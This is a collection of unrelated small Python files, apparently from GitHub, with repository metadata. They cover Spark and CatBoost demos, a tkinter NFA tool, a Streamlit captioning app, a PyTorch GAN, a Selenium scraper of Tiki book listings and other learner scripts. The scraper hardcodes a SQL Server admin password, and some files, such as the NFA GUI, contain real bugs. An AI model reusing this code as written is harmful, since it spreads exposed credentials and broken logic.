------------------------------------------------------------------------\n","repo_name":"mertensj/SmallTests","sub_path":"py/03-ip/ip_link.py","file_name":"ip_link.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20410433537","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 25 19:59:05 2017\n\n@author: vishal\n\"\"\"\n\n\nfrom __future__ import print_function\n\nfrom pyspark.sql import SparkSession\n\nsession = SparkSession.builder.appName(\"Binarizer\").getOrCreate()\n\n\ncontinuousDataFrame = session.createDataFrame([(0, 0.1),\n (1, 0.8),\n (2, 0.2)],\n [\"id\", \"feature\"])\n\n#continuousDataFrame.show()\n\nfrom pyspark.ml.feature import Binarizer\n\nbinarizer = Binarizer(threshold = 0.5, inputCol = 'feature', outputCol = 'binarized_feature')\n\nbinarizedDataFrame = binarizer.transform(continuousDataFrame)\nbinarizedDataFrame.show()\n\nsession.stop()","repo_name":"VishalChak/PySpark","sub_path":"Feature_Transformers/Bininarizer.py","file_name":"Bininarizer.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"35858568225","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom catboost import CatBoostRegressor\n\ndf = pd.read_csv(\"Fields.csv\")\n# Remove useless columns\ndf.drop([\"_id\", \"area\"], axis='columns', inplace=True)\n\n# For simplicity just take fields in one locality\n# df = df.loc[df[\"locality\"] == \"Bucuresti\"]\n# df.drop([\"locality\", \"district\"], axis='columns', inplace=True)\n\n# for even more siplicity remove some more columns\ndf.drop([\"publicTransport\",\"access\",\"tilt\",\"approvals\",\"water\", \"gas\", \"electricity\", \"sewerage\", \"visibility\", \"CUT\", \"POT\"], axis='columns', inplace=True)\n\n# Transport land area to number only\ndf[\"landArea\"] = pd.to_numeric(df[\"landArea\"], errors='coerce')\n# Only number bigger than 100\ndf = df.loc[df[\"landArea\"] > 100]\n\n# Get the raget column (price) and remove it from dataset\nprices = df[\"price\"]\ndf.drop([\"price\"], axis='columns', inplace=True)\nX_train, X_test, y_train, y_test = train_test_split(df, prices, test_size=0.25)\n\n# print(X_train.shape, y_train.shape, X_test.shape, y_test.shape)\n# print(X_train.columns)\n\nprint(X_train.head())\n\ncat_columns = [\"contructionOnLand\", \"landType\", \"landClassification\", \"locality\", \"district\"]\nfor c in cat_columns:\n print(f'{c}: {X_train[c].unique()}')\n\n# cat_features = [\"water\",\"gas\",\"electricity\",\"sewerage\", \"visibility\", 'landType', 'landClassification', 'contructionOnLand', \"CUT\", \"POT\"]\n#\n# for f in cat_features:\n# values = df[f].unique()\n# print(f'{f} values are {values}')\n# replace_dict = {}\n# for v, idx in zip(values, range(len(values))):\n# replace_dict[v] = str(idx)\n# print(replace_dict)\n# df.replace(replace_dict, inplace=True)\n# quit()\n\nmodel = CatBoostRegressor()\nmodel.fit(X_train, y_train, cat_columns)\n\n\ny_pred = model.predict(X_test)\nprint(y_pred)\nfor i in range(10):\n print(y_pred[i], y_test.values[i], y_pred[i] - y_test.values[i])\n# print(df.columns, df.head())\n","repo_name":"alexnix/ngnt_matching","sub_path":"Fields.py","file_name":"Fields.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29853708129","text":"# functions to solve NFA to DFA\nimport tkinter\nimport datetime\n# make a gui\nm = tkinter.Tk()\nm.title('NFA -> DFA')\nm.geometry('300x300')\n\n#global vars\naccepted_move = \"\"\noutput_moves = []\n#funtions\n\ndef inputfilewrite(states, letters,start,accept,moves):\n filewrite = open('input.txt', 'w')\n filewrite.write(str(states) + '\\n')\n filewrite.write(str(letters) + '\\n')\n filewrite.write(str(start) + '\\n')\n filewrite.write(str(accept) + '\\n')\n filewrite.write(str(moves) + '\\n')\n filewrite.close()\n\ndef accepts(i,m,states,letter):\n for x in m:\n y = 1\n while True:\n str = i + \" \" + letter + \" \" + y\n if str == m[x]:\n accepted_move = str\n return True\n else:\n y = y + 1\n if y == len(states):\n break\n return False\n\n\n\ndef run(start, states, moves, accept, letters):\n inputfilewrite(states, letters,start,accept,moves)\n \n #fileread = open('input.txt', 'r')\n x = datetime.datetime.now()\n outf = x.strftime('%H%d') + \".txt\"\n if (open(outf, 'r')):\n fileout = open(outf, 'w')\n else:\n fileout = open(outf, 'x')\n\n i = start # starting state\n move = str(moves).split(', ')\n for i in range(len(str(states))):\n for let in range(len(str(letters))):\n if (accepts(i,move,states,letters[let])):\n output_moves[i] = accepted_move\n else:\n output_moves[i] = str(i) + \" \" + letters[let] + \" \" + str(i)\n prntNFA()\n\ndef prntNFA():\n for x in output_moves:\n print(x)\n\n\n \n\n \n\n\n\n\n\n\n\n\n\n# widgets\n# input\ntkinter.Label(m, text='States:').grid(row=0, column=0)\nstates = tkinter.Entry(m)\nstates.grid(row=0, column=1, columnspan=3)\n\ntkinter.Label(m, text='Letters:').grid(row=1, column=0)\nletters = tkinter.Entry(m)\nletters.grid(row=1, column=1, columnspan=3)\n\ntkinter.Label(m, text='Start:').grid(row=3, column=0)\nstart = tkinter.Entry(m)\nstart.grid(row=3, column=1, columnspan=3)\n\ntkinter.Label(m, text='Accept:').grid(row=4, column=0)\naccept = tkinter.Entry(m)\naccept.grid(row=4, column=1, columnspan=3)\n\ntkinter.Label(m, text='Moves:').grid(row=5, column=0)\nmoves = tkinter.Entry(m)\nmoves.grid(row=5, column=1, columnspan=3)\n\n# button\nbutton = tkinter.Button(m, text='Submit', width=15, command=run(start,states,moves,accept,letters).grid(row=6, column=1))\n\n#output\noutputVar = tkinter.Message(m, text = prntNFA).grid(row=7, column= 1)\n\n# run the gui\nm.mainloop()\n","repo_name":"Chappellm18/NFA-DFA","sub_path":"NFA.py","file_name":"NFA.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28261254963","text":"import csv\n\n\ndef extract(path):\n print(\"Extracting...\")\n with open(path) as file:\n reader = csv.reader(file)\n ignore = next(reader)\n names = \"\"\n for line in reader:\n names = names + line[1] + \"\\n\"\n print(\"Done! The extracted names are: \")\n print(names)\n file.close()\n\n\ndef run():\n extract(\"bots.csv\")\n\n\nif __name__ == \"__main__\":\n run()","repo_name":"boitzenburgeruk/com411","sub_path":"data/files/csv/extract_csv.py","file_name":"extract_csv.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37392739850","text":"import streamlit as st \nfrom PIL import Image\nfrom os.path import join, dirname, realpath\nfrom glob import glob\nimport numpy as np\nimport os\nimport cv2,imutils\n\nfrom transformers import GPT2TokenizerFast, ViTImageProcessor, VisionEncoderDecoderModel\n\nst.text(\"IMAGE CAPTIONING : Stany Ganyani R204442S\")\n\n# Frames path\nFRAMES = join(dirname(realpath(__file__)), \"frames\")\n\ndef load_image(image_file):\n\timg = Image.open(image_file)\n\treturn img\n\n# upload video\nvideo = st.file_uploader(label=\"upload video\", type=\"mp4\", key=\"video_upload_file\")\n\n# Continue only if video is uploaded successfully\nif(video is not None):\n # Remove pre-existing FRAMES dir\n if os.path.exists(FRAMES):\n frame_paths = glob(f\"frames/*.jpeg\")\n # Remove every file\n for path in frame_paths:\n os.remove(path)\n os.rmdir(FRAMES)\n st.write('Removed pre-exisiting frames dir')\n\t \n # Notify user\n st.text(\"Video has been uploaded\")\n # Gather video meta data\n file_details = {\n \"filename\":video.name, \n \"filetype\":video.type,\n \"filesize\":video.size\n }\n # Show on ui\n st.write(file_details)\n # save video\n with open(video.name, \"wb\") as f:\n f.write(video.getbuffer())\n \n st.success(\"Video saved\")\n\n video_file = open(file_details['filename'], 'rb')\n video_bytes = video_file.read()\n st.video(video_bytes)\n\n def create_frames():\n\n # Create frames directory\n os.makedirs(FRAMES)\n\n images_array = []\n\n cap = cv2.VideoCapture(video.name)\n index = 0\n\n while True:\n ret, frame = cap.read()\n if ret == False:\n cap.release()\n break\n if frame is None:\n break\n else:\n if index == 0:\n images_array.append(frame)\n cv2.imwrite(f\"frames/{index}.jpeg\", frame)\n\n else:\n if index % 10 == 0:\n images_array.append(frame)\n cv2.imwrite(f\"frames/{index}.jpeg\", frame)\n\n index += 1\n return np.array(images_array)\n\n # Invoke Function to create frames\n images_array = create_frames()\n\n # Continue only if frames have been successfully created \n # if len(images_array) > 0:\n # frame_paths = glob(f\"frames/*.jpeg\")\n # for path in frame_paths:\n # st.image(load_image(path), width=250)\n\n def generate_caption(image_path):\n # Loading the model and it's helper components\n model_raw = VisionEncoderDecoderModel.from_pretrained(\"nlpconnect/vit-gpt2-image-captioning\")\n image_processor = ViTImageProcessor.from_pretrained(\"nlpconnect/vit-gpt2-image-captioning\")\n tokenizer = GPT2TokenizerFast.from_pretrained(\"nlpconnect/vit-gpt2-image-captioning\")\n\n image = Image.open(image_path)\n pixel_values = image_processor(image, return_tensors =\"pt\").pixel_values\n\n generated_ids = model_raw.generate(\n pixel_values,\n do_sample=True,\n max_new_tokens = 30,\n top_k=5\n )\n generated_text = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]\n st.write(generated_text)\n\n \n if len(images_array) > 0:\n frame_paths = glob(f\"frames/*.jpeg\")\n for path in frame_paths:\n caption = generate_caption(path)\n st.image(load_image(path), caption=caption, width=250)\n # break\n\n","repo_name":"coolhands-stn/image-captioning-one","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6209398993","text":"import srclexer, srcparser, globals\n\nclass TestCase:\n\n @staticmethod\n def run (tokens, defines):\n mcExpander = srcparser.MacroExpander(tokens, defines)\n mcExpander.debug = True\n mcExpander.expand()\n tokens = mcExpander.getTokens()\n print(tokens)\n\n @staticmethod\n def simpleNoArgs ():\n tokens = ['FUNC_FOO', '(', 'left', ',', 'right', ')']\n defines = {}\n macro = globals.Macro('FUNC_FOO')\n macro.tokens = ['Here', 'comes', 'X', 'and', 'Y']\n defines['FUNC_FOO'] = macro\n TestCase.run(tokens, defines)\n\n @staticmethod\n def simpleArgs ():\n tokens = ['FUNC_FOO', '(', 'left', ',', 'right', ')']\n defines = {}\n macro = globals.Macro('FUNC_FOO')\n macro.tokens = ['Here', 'comes', 'X', 'and', 'Y']\n macro.vars['X'] = 0\n macro.vars['Y'] = 1\n defines['FUNC_FOO'] = macro\n TestCase.run(tokens, defines)\n\n @staticmethod\n def multiTokenArgs ():\n tokens = ['FUNC_FOO', '(', 'left1', 'left2', 'left3', ',', 'right', ')']\n defines = {}\n macro = globals.Macro('FUNC_FOO')\n macro.tokens = ['Here', 'comes', 'X', 'and', 'Y']\n macro.vars['X'] = 0\n macro.vars['Y'] = 1\n defines['FUNC_FOO'] = macro\n TestCase.run(tokens, defines)\n\n @staticmethod\n def nestedTokenArgs ():\n tokens = ['FUNC_BAA', '(', 'left', ',', 'right', ')']\n defines = {}\n macro = globals.Macro('FUNC_FOO')\n macro.tokens = ['Here', 'comes', 'X', 'and', 'Y']\n macro.vars['X'] = 0\n macro.vars['Y'] = 1\n defines['FUNC_FOO'] = macro\n macro = globals.Macro('FUNC_BAA')\n macro.tokens = ['FUNC_FOO']\n defines['FUNC_BAA'] = macro\n TestCase.run(tokens, defines)\n\ndef main ():\n print(\"simple expansion with no arguments\")\n TestCase.simpleNoArgs()\n print(\"simple argument expansion\")\n TestCase.simpleArgs()\n print(\"multi-token argument expansion\")\n TestCase.multiTokenArgs()\n print(\"nested argument expansion\")\n TestCase.nestedTokenArgs()\n\nif __name__ == '__main__':\n main()\n","repo_name":"apache/openoffice","sub_path":"main/toolkit/src2xml/source/macroexpander_test.py","file_name":"macroexpander_test.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":834,"dataset":"github-code","pt":"78"} +{"seq_id":"28849054927","text":"# Написать программу, которая запрашивает текущее время в формате ЧЧ:ММ:СС, а затем выводит приветствие\n# в зависимости от указанного времени(\"Доброе утро\", Добрый день\" и т.д.)\n\ndef progammGreeting():\n print (\"Введите время в формате ЧЧ:ММ:СС.\")\n str_curr_time = input()\n lst = str_curr_time.split(\":\")\n\n try:\n if int(lst[0]) >= 4 and int(lst[0]) < 12:\n print (\"Доброе утро\")\n elif int(lst[0]) >= 12 and int(lst[0]) < 18:\n print(\"Добрый день\")\n elif int(lst[0]) >= 18 and int(lst[0]) < 21:\n print(\"Добрый вечер\")\n elif int(lst[0]) >= 22 and int(lst[0]) < 24 or int(lst[0]) >= 0 and int(lst[0]) < 4:\n print(\"Добрая ночь\")\n else:\n print(\"Введите корректное значение\")\n\n except ValueError:\n print(\"Введите корректное значание.\")\n\nprogammGreeting()\n","repo_name":"tatyanashashalina/Python-C","sub_path":"lab1task2.py","file_name":"lab1task2.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69880756091","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nCaptcha Window. Utility to show an input window with a captcha image.\n\"\"\"\n\nimport gtk\nimport gobject\n\nfrom guicavane.Paths import TEMP_DIR, SEP, CAPTCHA_GUI_FILE\n\nCAPTCHA_IMAGE_PATH = TEMP_DIR + SEP + \"recaptcha_image\"\n\n\nclass CaptchaWindow(object):\n \"\"\" Window with an image of a captcha. The image is\n taken from CAPTCHA_IMAGE_PATH. \"\"\"\n\n def __init__(self, gui_manager, ok_callback):\n \"\"\" Creates the window but not show it. ok_callback is called when\n the ok button is pressed. \"\"\"\n\n self.gui_manager = gui_manager\n self.ok_callback = ok_callback\n\n self.builder = gtk.Builder()\n self.builder.add_from_file(CAPTCHA_GUI_FILE)\n self.builder.connect_signals(self)\n\n self.captcha_image = self.builder.get_object(\"captcha_image\")\n self.response_input = self.builder.get_object(\"response_input\")\n self.captcha_window = self.builder.get_object(\"captcha_window\")\n\n def show(self, *args):\n \"\"\" Shows the window. \"\"\"\n\n gobject.idle_add(self.gui_manager.set_status_message,\n \"Please fill the captcha\")\n\n self.captcha_image.set_from_file(CAPTCHA_IMAGE_PATH)\n self.captcha_window.show_all()\n\n def get_input_text(self):\n \"\"\" Returns the value of the input. \"\"\"\n\n return self.response_input.get_text()\n\n def _on_ok(self, *args):\n \"\"\" Called when the ok button is pressed. \"\"\"\n self.captcha_window.hide()\n self.ok_callback()\n\n def _on_cancel(self, *args):\n \"\"\" Called when the cancel button is pressed. \"\"\"\n\n self.gui_manager.unfreeze()\n self.captcha_window.hide()\n","repo_name":"j0hn/guicavane","sub_path":"guicavane/Downloaders/CaptchaWindow.py","file_name":"CaptchaWindow.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"78"} +{"seq_id":"33066009288","text":"import socket\nfrom packetExtraction import *\n\ndef make_protocol_str(headers, protocol_name):\n if headers is None: # sometimes output of http heaer is None:\n return None\n res = ''\n res += '{:=^30}'.format(protocol_name) + '\\n'\n for item in headers:\n res += f'{item} ==> {headers[item]}' + '\\n'\n return res\n\n\ndef pcap_header(packet):\n # creates a pcket header for pcap file\n\n import datetime\n now = datetime.datetime.utcnow()\n \n return pack(' ListNode:\n root = head = ListNode(0)\n carry = 0\n while (l1 is not None) or (l2 is not None) or (carry > 0):\n sum = 0\n if (l1 is not None):\n sum += l1.val\n l1 = l1.next\n if (l2 is not None):\n sum += l2.val\n l2 = l2.next\n carry, val = divmod(sum + carry, 10)\n head.next = ListNode(val)\n head = head.next\n return root.next","repo_name":"sigridjineth/algorithm_log","sub_path":"leetcode/add_two_numbers_full_adder.py","file_name":"add_two_numbers_full_adder.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"78"} +{"seq_id":"22191907557","text":"import sqlite3\n\n# this command creates a connection\nconn = sqlite3.connect('students.db')\n\nc = conn.cursor() # my cursor\n\n# creates a table\nc.execute(\"\"\"CREATE TABLE students (\n Name TEXT,\n Age INTEGER,\n Pin Number REAL\n )\"\"\")\n\nc.execute(\"INSERT INTO students VALUES ('Nathan Kim', 17, 1.9)\") # inserts data into a table\n\nall_students = [\n ('Max Wu', 16, 1.8),\n ('Drake Graham', 36, 1.7),\n ('Alex Lu', 16, 1.83),\n ('Bob', 16, 1.98)\n]\nc.executemany(\"INSERT INTO students VALUES (?, ?, ?)\", all_students) #data inside the list will appear in the (?,?,?)\n\n# selects the data\nc.execute(\"SELECT * FROM students\")\nprint(c.fetchall())\n\nconn.commit() # commit\n\nconn.close() # closes the connection and makes the file","repo_name":"nsk1207/flasktri2","sub_path":"model/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22460315759","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass ResBlock(nn.Module):\n def __init__(self, in_channels, out_channels, stride, downsample=None):\n super(ResBlock, self).__init__()\n\n self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=stride, padding=1)\n self.bn1 = nn.BatchNorm2d(out_channels) #\n self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1)\n self.bn2 = nn.BatchNorm2d(out_channels)\n\n self.downsample = downsample\n if downsample is not None:\n self.downsample = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=stride), #avgPooling?\n nn.BatchNorm2d(out_channels))\n\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.bn2(self.conv2(out))\n if self.downsample is not None:\n x = self.downsample(x)\n return F.relu(out + x)\n\n\nclass Generator(nn.Module):\n def __init__(self, in_channels=3, out_channels=3, res_blocks=6, dim=64):\n super(Generator, self).__init__()\n\n # Initial convolution block\n model = [ nn.Conv2d(in_channels, dim, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(dim),\n nn.ReLU(inplace=True) ]\n\n # Downsampling\n in_features = dim\n out_features = dim*2\n for _ in range(2):\n conv_t = nn.Conv2d(in_features, out_features, 3, stride=2, padding=1)\n model += [ conv_t,\n nn.BatchNorm2d(out_features),\n nn.ReLU(inplace=True) ]\n\n print(conv_t.weight.size())\n in_features = out_features\n out_features = in_features*2\n\n # Residual blocks\n for _ in range(res_blocks):\n model += [ResBlock(in_features, in_features, stride=1)]\n\n # Upsampling\n out_features = in_features//2\n for _ in range(2):\n cont_de = nn.ConvTranspose2d(in_features, out_features, 3, stride=2, padding=1, output_padding=1)\n model += [ cont_de,\n nn.BatchNorm2d(out_features),\n nn.ReLU(inplace=True) ]\n \n print(cont_de.weight.size())\n in_features = out_features\n out_features = in_features//2\n\n # Output layer\n model += [ nn.Conv2d(in_features, out_channels, kernel_size=3, stride=1, padding=1),\n nn.Tanh() ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\n\n\n\n# 여기서 추후 작업 요망\nclass Discriminator(nn.Module):\n def __init__(self, in_channels=3, dim=64):\n super(Discriminator, self).__init__()\n\n def d_block(in_filters, out_filters, stride=2):\n \"\"\"Returns downsampling layers of each discriminator block\"\"\"\n\n layers = [ nn.Conv2d(in_filters, out_filters, kernel_size=3, stride=stride, padding=1),\n nn.BatchNorm2d(out_filters),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(out_filters, out_filters, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(out_filters),\n nn.LeakyReLU(0.2, inplace=True) ]\n return layers\n\n self.model = nn.Sequential(\n *d_block(in_channels, dim, stride=1), \n *d_block(dim, 2*dim),\n *d_block(2*dim, 4*dim),\n *d_block(4*dim, 8*dim),\n nn.Conv2d(8*dim, 1, 4, padding=0)\n )\n\n def forward(self, x):\n return self.model(x).view(x.size(0), -1)\n\n\nclass Classifier(nn.Module):\n def __init__(self, x_dim, num_classes=10, dim=64):\n super(Classifier, self).__init__()\n\n model = [ nn.Conv2d(x_dim, dim, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(dim),\n nn.ReLU(inplace=True) ]\n\n in_dim = dim\n out_dim = 2*dim\n for _ in range(3):\n model += [ResBlock(in_channels=in_dim, out_channels=out_dim, stride=2, downsample=True)]\n in_dim = out_dim\n out_dim = 2*in_dim\n\n self.model = nn.Sequential(*model)\n self.avgpool = nn.AvgPool2d(kernel_size=4, stride=1)\n self.fc = nn.Linear(in_dim, num_classes)\n\n def forward(self, x):\n \n x = self.model(x)\n x = self.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n","repo_name":"hhjung1202/OwnAdaptation","sub_path":"Cycle/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71395325372","text":"import selenium\r\nfrom selenium import webdriver\r\nfrom time import sleep\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.chrome.service import Service\r\nimport pandas as pd\r\nimport threading\r\nfrom queue import Queue\r\n\r\n# ===============================Initial=======================================\r\nn=6\r\nglobal title_li, link_li\r\ntitle_li, link_li = [], []\r\n\r\n# ===============================Define Logic==================================\r\n\r\ndef openMultiBrowsers(n):\r\n drivers = []\r\n for i in range(n):\r\n options = webdriver.ChromeOptions() \r\n options.add_experimental_option('excludeSwitches', ['enable-logging'])\r\n options.add_argument(\"--log-level=3\")\r\n chromedriver_path = \"D:\\Python\\Scripts\\chromedriver.exe\"\r\n service = Service(chromedriver_path)\r\n driver = webdriver.Chrome(service=service, options = options)\r\n drivers.append(driver)\r\n return drivers\r\n\r\ndef loadMultiPages(driver, n):\r\n # for driver in drivers:\r\n driver.maximize_window()\r\n driver.get(\"https://tiki.vn/nha-sach-tiki/c8322?page={}\".format(n))\r\n sleep(6)\r\n\r\ndef loadMultiBrowsers(drivers_rx, n):\r\n for driver in drivers_rx:\r\n t = threading.Thread(target=loadMultiPages, args = (driver, n,))\r\n t.start()\r\n\r\ndef getData(driver):\r\n try:\r\n elems = driver.find_elements(By.CSS_SELECTOR , \".jXFjHV [href]\") \r\n print(\"Page is ready!\")\r\n except:\r\n print(\"Please, Retry\")\r\n for i in elems:\r\n title_li.append(i.text) \r\n link_li.append(i.get_attribute('href'))\r\n sleep(3)\r\n driver.close()\r\n print(\"Crawl Done!!! Close browers:\\n \", driver)\r\n print(\"----------------\")\r\n return title_li, link_li\r\n\r\ndef runInParallel(func, drivers_rx):\r\n for driver in drivers_rx: \r\n que = Queue()\r\n print(\"-------Running parallel---------\")\r\n t1 = threading.Thread(target=lambda q, arg1: q.put(func(arg1)), args=(que, driver))\r\n t1.start()\r\n try: \r\n ouput = que.get()\r\n except:\r\n ouput = [] \r\n\r\n return ouput\r\n\r\n# ===========================Run/Execute=======================================\r\n\r\ndrivers_r1 = openMultiBrowsers(n)\r\nloadMultiBrowsers(drivers_r1, n) \r\nsleep(10)\r\n\r\n# ===== GET link/title\r\n\r\ntitle_link2 = runInParallel(getData, drivers_r1)\r\n\r\n#return values\r\ntitles = title_link2[0]\r\nlinks = title_link2[1]\r\n\r\n#save to...\r\ndf_final = pd.DataFrame({'title': titles, 'link': links})\r\ndf_final.to_csv('titleLinkTiki_{}Pages.csv'.format(n))\r\nlen(df_final)\r\n\r\n# =============================================================================\r\n# CONNECT TO SQL SERVER BY PYTHON\r\n# =============================================================================\r\n \r\nimport pandas as pd\r\nimport pyodbc\r\n\r\n\r\nconn = pyodbc.connect('Driver={SQL Server};'\r\n 'Server=localhost;'\r\n 'Database=Tiki;'\r\n 'UID=sa;'\r\n 'PWD=221045')\r\n\r\n# df = pd.read_sql_query('SELECT * FROM dbo.sales', conn)\r\n\r\ndf_final.to_sql('titleLinkTiki_{}Pages'.format(n), conn, if_exists='append')\r\n","repo_name":"Cmint22/GR1","sub_path":"tiki_crawler_parallel.py","file_name":"tiki_crawler_parallel.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74810548410","text":"import math\n\nimport torch\nfrom torch import nn\nfrom torchvision.transforms import functional as F\nimport random\n\n\ndef _resize_image(image, self_min_size, self_max_size):\n im_shape = torch.tensor(image.shape[-2:])\n min_size = float(torch.min(im_shape))\n max_size = float(torch.max(im_shape))\n scale_factor = self_min_size / min_size\n if max_size * scale_factor > self_max_size:\n scale_factor = self_max_size / max_size\n image = torch.nn.functional.interpolate(image[None], scale_factor=scale_factor, mode=\"bilinear\",\n recompute_scale_factor=True, align_corners=False)[0]\n return image\n\n\ndef resize_boxes(boxes, original_szie, new_size):\n ratios = [\n torch.tensor(s, dtype=torch.float32, device=boxes.device) /\n torch.tensor(s_orig, dtype=torch.float32, device=boxes.device)\n for s, s_orig in zip(new_size, original_szie)]\n ratios_height, ratios_width = ratios\n xmin, ymin, xmax, ymax = boxes.unbind(1)\n xmin = xmin * ratios_width\n xmax = xmax * ratios_width\n ymin = ymin * ratios_height\n ymax = ymax * ratios_height\n\n return torch.stack((xmin, ymin, xmax, ymax), dim=1)\n\n\nclass GeneralizedRCNNTransform(nn.Module):\n def __init__(self, min_size, max_size, image_mean, image_std):\n super(GeneralizedRCNNTransform, self).__init__()\n if not isinstance(min_size, (list, tuple)):\n min_size = (min_size,)\n self.min_size = min_size # 指定图像的最小边长范围\n self.max_size = max_size # 指定图像的最大边长范围\n self.image_mean = image_mean # 指定图像在标准化处理中的均值\n self.image_std = image_std # 指定图像在标准化处理中的方差\n\n def normalize(self, image):\n dtype, device = image.dtype, image.device\n mean = torch.as_tensor(self.image_mean, dtype=dtype, device=device)\n std = torch.as_tensor(self.image_std, dtype=dtype, device=device)\n return (image - mean[:, None, None]) / std[:, None, None]\n\n def torch_choice(self, k):\n index = int(torch.empty(1).uniform_(0., float(len(k))).item())\n return k[index]\n\n def resize(self, image, targets):\n h, w = image.shape[-2:]\n size = float(self.min_size[-1])\n image = _resize_image(image, size, self.max_size)\n if targets is None:\n return image, targets\n bbox = targets[\"boxes\"]\n bbox = resize_boxes(bbox, [h, w], image.shape[-2:])\n targets[\"boxes\"] = bbox\n return image, targets\n\n def max_by_axis(self, the_list):\n maxes = the_list[0]\n for sublist in the_list[1:]:\n for index, item in enumerate(sublist):\n maxes[index] = max(maxes[index], item)\n return maxes\n\n def batch_images(self, images, size_divisible=32): # size_divisible:将长和宽调整到该数的整数倍\n max_size = self.max_by_axis([list(img.shape) for img in images]) # max_size:[max_channel,max_width,max_height]\n stride = float(size_divisible)\n max_size[1] = int(math.ceil(float(max_size[1] / stride)) * stride) # width和height向上调整到stride的整数倍\n max_size[2] = int(math.ceil(float(max_size[2] / stride)) * stride)\n batch_shape = [len(images)] + max_size # [8,3,224,224]\n batched_images = images[0].new_full(batch_shape, 0)\n for img, pad_img in zip(images, batched_images):\n pad_img[:img.shape[0], :img.shape[1], :img.shape[2]].copy_(img)\n\n return batched_images\n\n def forward(self, images, targets=None):\n images = [img for img in images]\n for i in range(len(images)):\n image = images[i]\n target_index = targets[i] if targets is not None else None\n\n assert image.dim() == 3\n\n image = self.normalize(image)\n image, target_index = self.resize(image, target_index)\n images[i] = image\n if targets is not None:\n targets[i] = target_index\n\n # resize之后的尺寸\n image_sizes = [img.shape[-2:] for img in images]\n image_sizes_list = []\n images = self.batch_images(images)\n for img_size in image_sizes:\n assert len(img_size) == 2\n image_sizes_list.append((img_size[0], img_size[1])) # 这个保存的是resize以后,batch以前的尺寸\n\n images_list = ImageList(images, image_sizes_list)\n return images_list, targets\n\n\nclass ImageList(object):\n def __init__(self, tensors, image_sizes):\n self.tensors = tensors\n self.image_sizes = image_sizes\n\n def to(self, device):\n cast_tensor = self.tensors.to(device)\n return ImageList(cast_tensor, self.image_sizes)\n\n\nclass Compose(object):\n def __init__(self, transforms):\n self.transforms = transforms\n\n def __call__(self, image, target):\n for t in self.transforms:\n image, target = t(image, target)\n return image, target\n\n\nclass ToTensor(object):\n def __call__(self, image, target):\n image = F.to_tensor(image)\n return image, target\n\n\nclass RandomHorizontalFlip(object):\n def __init__(self, prob=0.5):\n self.prob = prob\n\n def __call__(self, image, target):\n if random.random() < self.prob:\n height, width = image.shape[-2:]\n image = image.flip(-1)\n bbox = target[\"boxes\"]\n bbox[:, [0, 2]] = width - bbox[:, [2, 0]]\n target[\"boxes\"] = bbox\n return image, target\n","repo_name":"BobSun98/faster_RCNN","sub_path":"transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":5537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8255047210","text":"# Write an algorithm that brings all nonzero elements to the left of the array, and returns the number of nonzero elements.\n\n# Difficulty: Easy\n\n# Loop from both ends till they meet\n# For elements on left, if it is non-zero, leave it there, else have the non-zero on right to overwrite this zero\n# for elements on right, if it is zero, leave it there. if it is non-zero, look for having it overwriting the zero on left\n\n# Loop through the array with two pointers, both starts from the beginning\n# fast one just increase by 1 every time, while slow one keeps track of the non-zero elements \n# Whenever fast points to a non-zero element, assign this one to the element pointed by the slow elements, only when slow doens't equal to fast (this is to avoid unnecessary assignment)\n\n# Time cmoplexity is O(N), and the sequence of non-zero elements are preserved, so it is a stable algorithm.\n# suppose array has k zero elements, then n-k writes are needed in worst case, and it happens when zeros are in the beginning\n# of the array\n\n# boundary check: no zeros, or all zeros\ndef 